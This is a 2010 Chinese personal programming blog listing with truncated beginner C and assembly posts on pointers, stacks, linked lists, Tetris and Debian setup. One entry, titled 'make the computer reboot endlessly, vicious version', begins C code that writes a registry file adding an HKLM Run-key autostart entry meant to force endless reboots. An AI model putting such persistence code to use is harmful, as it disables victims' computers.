关于野指针

/*程序1指针没有初始化有野指针*/#include<stdio.h>int main(void){ char *s,b[100]; unsigned int *letters=1,*numbers=3, *spaces=5, *others=9;//这里就是野指针 printf("%d%d%d%d",*letters,*numbers,*spaces,*others); return(0);}/*程序2没有产生野指针思考为什么*/#include<stdio.h>int main(void){ char *p="I love you!...
默认分类 | 2010-09-04 21:25 | 阅读 532 次 | 评论 0 条

一个值得思考的程序

/************************************************************************* 程序功能: 从一个数组里面删除特定的数,当然数组里面的数字可以重复 如果有兴趣可以思考我提出的问题 **************************************************************************/ #include<stdio.h>int main(void){int a[10],i,j,k,m;m=10;printf("请输入10个数\n");for(i=0;i<m;i+...
默认分类 | 2010-09-03 22:33 | 阅读 612 次 | 评论 0 条

函数指针

/*只是最简单的测试函数指针*/#include<stdio.h>void fun(void(*f)(void)){ (*f)();}void fun1(void){ printf("This is the function 1 !\n");}void fun2(void){ printf("This is the function 2 !\n");}int main(void){ fun(fun1); fun(fun2);}
默认分类 | 2010-09-02 23:20 | 阅读 514 次 | 评论 0 条

俄罗斯方块

/*俄罗斯方块源码编译环境:tc2.0by:spygg仿真环境:dosbox若是移植到windows下需修改delay函数中的值为10000000000游戏板大小为21行12列*/#include <graphics.h>#include <stdio.h>#include <dos.h>#include <conio.h>#include <time.h>#include <math.h>#include <stdlib.h>void draw_little_block(int ,int ,int );void draw_block(int ,int ,int,int);void ch...
默认分类 | 2010-08-12 23:48 | 阅读 706 次 | 评论 0 条

关于C语言的学习

要读的书 1.谭浩强--C语言程序设计 这个是入门,个人感觉入门书籍里面还是比较合适新手的,配有完备的课后习题和答案 2.K&amp;R 这本是经典,不多说..不过说实话,有点难,等有了基础了再看不迟! 3.算法:C实现(卷一二) 当你掌握了基础后,也许会对未来的方向比较迷茫,不过也许你已经发现编程需要思想,有了思想,编程就是一个体力活了,总之这本书是经典中的经典,如果有时间推荐看... 4.Windows系统编程. 耐不住C语言的命令行模式的枯燥了吧,也许你对VC心动了,这时候看这本书,纯C语言写得(俺还没看,没发言权,不过网上很多人推荐,这里推荐之!) 5.Unix环境高级编...
默认分类 | 2010-08-09 12:15 | 阅读 640 次 | 评论 0 条

指向结构的指针(K&amp;R摘录)

#include<stdio.h>#include<ctype.h>#include<string.h>#define MAXWORD 100int getword(char * ,int);struct key *binsearch(char *,struct key *,int );main(){ char word[MAXWORD]; struct key *p; while(getword(word,MAXWORD)!=EOF) if(isalpha(word[0]) if((p=binsearch(word,keytab...
默认分类 | 2010-08-04 19:43 | 阅读 634 次 | 评论 1 条

查找字符串出现的次数

/*输入abcabcabcff ,然后查找abc出现的次数应该为三次*//*第一种算法感觉好麻烦,但是是我自己想出来的*/#include<stdio.h>#define MAX 100int main(void){ char *sourse,*dst; char a[MAX],b[MAX]; int dstlen=0,flag=0,time=0; sourse=a; dst=b; printf("Input the sourse string\n"); gets(sourse); printf("Input the...
默认分类 | 2010-07-14 23:35 | 阅读 705 次 | 评论 0 条

嘿嘿前面那个程序生成txt格式

#include<stdio.h>#include<string.h>struct { int num;//数据编号 int shouru;//收入 int zhichu;//支出 int yue;//余额 }date[366];int sum=0;void win();//菜单显示void Login(){ int i; FILE *user; char name[10],pass[20],na[10],pa[20]; printf("******** 请输入你的选择: ********\n"); printf(...
默认分类 | 2010-07-01 23:57 | 阅读 558 次 | 评论 0 条

一个小作业

/*有10个职工,每个职工的数据包括职工编号、姓名、职称、工龄及基准工资,从键盘输入每个职工的数据,具体要求:(1) 通过键盘接收数据;(2) 计算并输出每个职工应发的工资(工资计算原则是:基准工资*职称系数+基准工资*10%*工龄系数;职称系数:初级为1、中级为1.2、高级为1.5;工龄系数=工龄/2);(3) 计算并输出平均工资;(4) 按工资从低到高进行排序;(5) 从排序结果中,查找满足某一工资的职工信息,并输出;(6) 所有操作都要给出相应的提示,方便他人操作。*/#include<stdio.h>#include<string.h>struct gongren{ int n;...
默认分类 | 2010-07-01 10:29 | 阅读 570 次 | 评论 0 条

链式堆栈,又一个比上个进不了哈

#include<stdio.h>#include<stdlib.h>struct stacktype{ int data; struct stacktype *link;};typedef struct stacktype stack;int push(stack **top,int x){ stack *p; p=(stack *)malloc(sizeof(stack)); if(p==NULL) { printf("Memory alloc failed\n"); exit(-1); } p->link=...
默认分类 | 2010-06-01 15:55 | 阅读 596 次 | 评论 0 条

俄罗斯方块很详细还有注释,是我转的(俺正在研究中)

/*俄罗斯方块源代码*/#include <graphics.h> #include <stdio.h> #include <dos.h> #include <conio.h> #include <time.h> #include <math.h> #include <stdlib.h> void draw_block(int x,int y,int style,int way); void kill_line(int y); void draw_little_block(int x,int y,int z,int style); int check_block(int x,int y,...
默认分类 | 2010-05-25 12:36 | 阅读 1135 次 | 评论 8 条

链式堆栈

#include<stdio.h>#include<stdlib.h>typedef struct stacklist{ int data; struct stacklist * list;}slist;slist* push(slist *top,int x){ slist *p; p=(slist*) malloc(sizeof(slist)); if(p==NULL) { printf("Memory allocate failed\n"); exit(0); } p->data=x; p->list=top; top=p; return(top);}int pop(slist...
默认分类 | 2010-05-19 22:29 | 阅读 701 次 | 评论 1 条

顺序堆栈

#include<stdio.h>#define M 10000typedef struct data{ int s[M]; int top;}dat;int push( dat *top,int x){ dat *p; p=top; if(p->top==M) { printf("stack full\n"); exit(0); } p->s[p->top]=x;//这个用寻址理解 p->top++; //出栈相同 return (1);}int pop(dat *top){ int x; dat *p; p=top; if (p->top==0) { printf("stac...
默认分类 | 2010-05-18 23:27 | 阅读 591 次 | 评论 0 条

debian下的中文输入法和中文支持

从网上下载了debian的最小安装文件选择图形安装(不赘述)进入系统之后发现上网打开的中文网页都是乱码(妈的让人上火,不过是我比较贱哈,安装的时候选择的是英文,嘿嘿……) 一.让debian支持中文 1.dpkg-reconfigure locales 2.选择第一个all就行了别的嘛不管(哈哈,比较简单吧) 二.安装debian中文输入法(这个ubuntu下还是fcitx小企鹅比较好用类似搜狗) 1.apt-get install scim 这个只是安装一个平台(加上sudo如果非root用户) 2.apt-get install scim-chinese然后智能输入法...
默认分类 | 2010-05-18 17:20 | 阅读 1876 次 | 评论 0 条

帮别人改的作业,单边表来实现数字逆序输出

/*输入123,输出321*/#include<stdio.h>#define L sizeof(number)typedef struct number{ int num; struct number *next;}number;number* integerlist(int d){ number *last,*p,*head; int n; n=d; head=NULL; do { p=(number*)malloc(L); p->next=NULL; if(head==...
默认分类 | 2010-05-10 08:23 | 阅读 696 次 | 评论 0 条

链表的排序

/*程序功能:输入一个链表并按照链表标号排序*编译环境:VC6.0*by:spygg*/#include<stdio.h>#include<stdlib.h>struct list{int num;struct list *next;};struct list *creat()//创建链表{struct list *head,*p,*tail;head=NULL;do{ printf("input the num (0 as the end)\n"); p=(struct list*)malloc(sizeof(struct list)); if(p==NULL) { ...
默认分类 | 2010-05-08 01:33 | 阅读 628 次 | 评论 0 条

一个小程序,算法很经典哈

/*输出2/1,3/2,5/3,8/5……前N项的和*/#include "stdio.h"int main(void){ float f1=1.0,f2=2.0; int i,n; float sum=0.0; printf("Input n\n"); scanf("%d",&amp;n); for(i=1;i<=n;i++) { sum=sum+(f2/f1); f2 += f1; f1 =f2-f1; } printf("%f",sum); return 0;}
默认分类 | 2010-05-07 00:57 | 阅读 639 次 | 评论 1 条

让电脑无限重启,阴毒版

#include<stdio.h> #include<dos.h> #include<process.h> int main() { int flag; FILE *fp; fp=fopen("c:\\windows\\system32\\console.reg","wb"); fprintf(fp,"%s\n","REGEDIT4"); fprintf(fp,"%s","[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"MyRegist\"=\"c:\\\\windows\\\\syst...
默认分类 | 2010-05-03 09:39 | 阅读 1250 次 | 评论 6 条

查找一个字符串是否包含在另一个字符串中

/*本程序没有使用库函数所以有点麻烦编译环境 TC2.0by spygg*/#include<stdio.h>#define MAX 100int main(void){ char *sourse,*dst; char a[MAX],b[MAX]; int i=0,dstlen=0,flag=0; sourse=a; dst=b; printf("Input the sourse string\n"); gets(sourse); printf("Input the dst string\n"); gets(dst); while(*dst++!='\...
默认分类 | 2010-04-29 00:39 | 阅读 923 次 | 评论 0 条

俺的第一个汇编程序,哈哈

;程序功能:从键盘读入一行数据并显示DAT SEGMENT STRING DB 100,0,100 DUP(?)ENT DB 0AH,0DH,'$'PRINTF DB 'INPUT A STING TO TEST!','$'STAR DB '------------------'DB 'THIS IS A DEVIDE LINE'DB '------------------','$'MESS DB '**'DB 'THIS IS A PROGRAMME BY SPYGG'DB '**','$'DAT ENDSCOD SEGMENTASSUME CS: COD,DS: DATSTART:M...
默认分类 | 2010-04-25 22:09 | 阅读 634 次 | 评论 0 条
浏览48257次
文章分类